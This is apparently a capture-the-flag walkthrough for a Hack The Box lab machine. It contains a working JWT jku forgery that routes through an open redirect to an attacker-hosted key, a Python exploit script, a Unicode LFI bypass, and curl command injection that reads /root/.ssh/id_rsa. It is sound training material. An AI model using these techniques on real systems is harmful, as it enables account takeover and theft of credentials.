Enumeration
IP-ADDR: 10.10.11.126 hackmedia.htb
nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
| 256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_ 256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: E06EE2ACCCCCD12A0FD09983B44FE9D9
|_http-generator: Hugo 0.83.1
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hackmedia
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
web app hava login and register option and /redirect
looks like a open redirect on not useful right now.
1
2
3
4
5
❯ echo http://$ip | hakrawler
http://10.10.11.126/
http://10.10.11.126/login/
http://10.10.11.126/register/
http://10.10.11.126/redirect/?url=google.com
register with new account and logged,
One thing to be noted that, it is possible to enumerate exist users with some scripting/burp-intruder because application gives explicit error message if user already exists.
There are some functionalities but looks like none of them really works, only one thing looks interesting is the cookie which contains a auth token.
Foothold
JWT jku bypass
looks like a jwt token
Token contains jku value: jku = "http://hackmedia.htb/static/jwks.json"
- Got a hostname:
hackmedia.htb
- jku stands for JWK Set URL.
jku Header points to a URL containing the JWKS file that holds the Public Key for verifying the token.
There is a way to bypass token verification from jku header: https://book.hacktricks.xyz/pentesting-web/hacking-jwt-json-web-tokens#jku
For the, we need to create a public-private key and a jwks file hosted on our server.
First you need to create a new certificate with new private & public keys -
1
2
3
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Then to create the new JWT with the created publickey.crt
(public) and pkcs8.key
(private) keys and pointing the parameter jku to the certificate created.
HEADER
1
{"typ":"JWT","alg":"RS256","jku":"http://attacker.server/jwks.json"}
PAYLOAD
1
{"user":"admin"}
In order to create a valid jku certificate you can download the original one and change the needed parameters.
1
wget http://hackmedia.htb/static/jwks.json
You can obtain the parameter “e
” and “n
” from a public certificate using python -
- There is a issue with formatting hacktricks shows this value in hex format but our target server using possibly base64 format. We can still get these values with python but with different module and different techniques.
1 2 3 4 5 6 7
from jwcrypto import jwk import json with open("keypair.pem", "rb") as pemfile: key = jwk.JWK.from_pem(pemfile.read()) jwks = key.export_public() print(json.loads(jwks)['n']) print(json.loads(jwks)['e'])
Replace e
and n
value in original jwks.json
with new values.
1
2
3
4
5
6
7
8
9
10
11
12
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "hackthebox",
"alg": "RS256",
"n": "5VB6YkmCCvY7UTdKNh4jUSxySy8Kew9A_ZIb3zilwMzXOgg8gThoicyR9pQmpjKrNWYz3eBueDkkjc7gHaN7H97rbpZq01NxsKGxWGqgO7JVSjq0o_YLPBztGFZ-R0tqZ-wzObuL8ZDnbm0vWdgFtxSVNAGB8eL0S-t9wMY6ALz8KXbYyWarH1FJpgYFtzrYRE6oJQsPCfgCzWIkKEV-dUyAcn7B2sVKjceEsI1JoKonQU4X6RJmU8PHFcjFqix2_fWUhVhLjVcKDHDNECY-h3jfd-1j_m0Na1F5eP87s_hSLdJVkaIiI4v6lOpFR7BxbN-UN9aCo_PE8thW3TavSw",
"e": "AQAB"
}
]
}
Now, Host that jwks.json
file on http server And GET request to /dashboard
with modified auth token but got validation error: jku validation failed.
That means there are some filters and black/white list that preventing this.
Found this on google which remind me something: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/jwt-forgery-via-chaining-jku-parameter-with-open-redirect-/
At the beginning i notice a open redirect from http://10.10.11.126/redirect/?url=google.com
. We can use it and try to bypass that filter.
After some testing i found out possible filters.
- Application explicitly checks for
http://hackmedia.htb/static/
- Does not support any other port besides port 80.
Possible way to bypass.
- use
../
afterstatic/
to go back to/redirect
- run http server with port 80
Final jwt token payload and header looks like this; Get new token with these values.
1
{"typ":"JWT","alg":"RS256","jku":"http://hackmedia.htb/static/../redirect/?url=10.10.14.24/jwks.json"}
1
{"user":"admin"}
And finally got the admin panel
lfi
There are only two working link on the admin dashboard. Both has same directory and parameter only value is different
1
2
http://hackmedia.htb/display/?page=monthly.pdf
http://hackmedia.htb/display/?page=quarterly.pdf
based on the parameter values, this could be a lfi bug.
Tried some ../../
and immediately redirect to /filenotfound
with a message: “we do a lot input filtering you can never bypass our filters.Have a good day”
That means this is a lfi but there are some filters we need to bypass.
- Good resourse on WAF bypass: https://jlajara.gitlab.io/web/2020/02/19/Bypass_WAF_Unicode.html
And based on the box name, successfully bypass WAF with unicode character ︰
which Normalization as ..
sake of the learning purpose, i tried to create a python script to automate all of this.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import jwt
import json
from Crypto.PublicKey import RSA
import requests as r
from jwcrypto import jwk
import argparse
import re
import netifaces as ni
# from os import getcwd
host = 'http://hackmedia.htb' # **IMPORTANT** add "10.10.11.126 hackmedia.htb" in "/etc/hosts" file.
files_path = '.' # getcwd()
ip = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr']
jwks_serv_ip = ip
class GenTokenAndJWKS:
def __init__(self):
# Generate RSA key
key = RSA.generate(2048)
private_key = key.exportKey('PEM')
public_key = key.publickey().exportKey('PEM')
# Extract "n" and "e" value
key = jwk.JWK.from_pem(public_key)
jwks = key.export_public()
# print(json.loads(jwks))
# Generate modified "jwks.json" file
org_jwks = r.get(f'{host}/static/jwks.json').text
# print(org_jwks)
json_object = json.loads(org_jwks)
json_object['keys'][0]['n'] = json.loads(jwks)['n']
json_object['keys'][0]['e'] = json.loads(jwks)['e']
# print(json.dumps(json_object, indent=4))
self.modified_jwks = json_object
# Using Open redirect to bypass jku validation
jwks_server = f"{host}/static/../redirect/?url={jwks_serv_ip}/jwks.json"
# Generate jwt token
self.jwt_token = jwt.encode({"user": "admin"}, private_key, algorithm="RS256", headers={"jku": jwks_server})
# print(self.jwt_token)
# decoded = jwt.decode(jwt_token, public_key, algorithms=["RS256"])
# print(decoded)
parser = argparse.ArgumentParser()
parser.add_argument('--genFiles', action='store_true', help="Generate jwks.json and token.")
parser.add_argument('--lfi', help="lfi attack.")
args = parser.parse_args()
def getValues():
return GenTokenAndJWKS()
def GenRequiredFiles():
values = getValues()
# write modified jwks in "jwks.json"
print(f"[+] 'jwks.json' and 'jwt.token' will be saved in[CWD]: {files_path}")
a_file = open(f"{files_path}/jwks.json", "w")
json.dump(values.modified_jwks, a_file, indent=4)
a_file.close()
# Write jwt token in a file
a_file = open(f"{files_path}/jwk.token", "w")
a_file.write(values.jwt_token)
a_file.close()
if args.genFiles:
GenRequiredFiles()
try:
jwt_token = open(f"{files_path}/jwk.token", "r").read()
cookies_dict = {"auth": jwt_token}
if args.genFiles:
# Test token
input(f"[+] Run 'sudo python3 -m http.server 80' on CWD before continue[ENTER]...")
rspn = r.get(f"{host}/dashboard/", cookies=cookies_dict, allow_redirects=False)
print(f"[!] Token take us to: {re.findall(r'<title>(.*?)</title>', rspn.text)[0]}")
except FileNotFoundError as e:
print(e)
def lfi(payload):
lfi_rspn = r.get(f"{host}/display/?page={payload}", cookies=cookies_dict)
if 'Unauthorized' in lfi_rspn.text:
exit('Unauthorized')
elif re.search(r'<h3>(.*?)</h3>', lfi_rspn.text):
print(f"[-] {re.findall(r'<h3>(.*?)</h3>', lfi_rspn.text)[0]}!")
elif re.search(r'<title>(.*?)</title>', lfi_rspn.text):
print(re.findall(r'<title>(.*?)</title>', lfi_rspn.text)[0])
else:
print(lfi_rspn.text)
if args.lfi:
path = f"︰/︰/︰/︰/︰/︰{args.lfi}"
lfi(path)
burp issue
while sending request with unicode characters burp automatically convert these character before forwarding and breaks the bypass.
from level of my knowledge, Burp only takes every character as single byte character.
Hex value of ︰
» ef b8 b0
which represent of three unicode characters -
Hex | unicode char |
---|---|
ef | ï |
b8 | ¸ |
b0 | ° |
And combinations of these three characters create a unicode character vertical two dot leader ︰
and when we past ︰
it converted to 0
.
to solve this we need to load all character separately ︰
which normalize to ︰
to make it easy we can encode ︰
in base64 and after pasting in burp decode base64.
1
2
❯ echo -n '︰' | base64
77iw
from nginx config file found about db.yaml
And, From db.yaml
got user creds.
- Worked for user
code
ssh login.
Privesc
User “code” allowed to run /usr/bin/treport
as root with no password.
1
2
3
4
5
6
7
code@code:~$ sudo -l
Matching Defaults entries for code on code:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User code may run the following commands on code:
(root) NOPASSWD: /usr/bin/treport
After some testing, Found out
- This is a python script and possible created with
pyinstaller
There are 4 options it in program
- First 2 options don’t return anything interesting.
option 3 fetching urls and it’s using
curl
And special characters are not allowed
Python byte-codes decompile
There is a script which we can use to extract python byte-codes: pyinstxtractor.
So, There is a well-known tool for decompiling python3 byte-codes python-decompile3 but there are some issues going on on this project.
but there is a another tool not fully stable but it worked: pycdc.
Setup pycdc and build executable
1
2
3
git clone https://github.com/zrax/pycdc && cd pycdc
cmake .
cmake --build .
Then use pycdc
to extract source from treport.pyc
file
1
2
3
4
❯ ./pycdc treport.pyc > treport.py
Unsupported opcode: <255>
Unsupported opcode: <255>
Unsupported opcode: <255>
Only information get form python source is that there is a command injection in option 3 and most of the special character are blacklisted.
Command injection
There are so many useful character are blacklisted but not all.
- blacklisted:
$`;&|||><?'@#$%^()
- allowed:
*[]-"{}\:,./+=!~
And there is a flag -K
which allow user to load config file
and there is a bash trick to execute a command with its argument without space using {}
and argument separated with ,
1
2
❯ bash -c '{uname,-s}'
Linux
it is possible to read files from stderr of curl with -K
but this messed-up the file.
1
{-K,/root/.ssh/id_rsa}
There is a one comparison in the python source that blacklisting some protocols
1
2
if 'file' in ip and 'gopher' in ip or 'mysql' in ip:
print('INVALID URL')
But this is case sensitive and eassliy bypass capital character like File
, Gopher
, Mysql
without affecting the behaviour in curl command.
1
2
code@code:~$ curl File:///etc/hostname
code
but there is one more error, in the source code curl command outputting in the /root/reports/
directory
1
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
but it looks like that direcotry in not presented there.
To bypass this with file
protocol, we can combine it with our first bypass technique and use with --create-dirs
flag which, When used in conjunction with the -o
, --output
option, curl will create the necessary local directory hierarchy as needed.
1
{File:///root/.ssh/id_rsa,--create-dirs}
Don’t know why but this key isn’t working for me.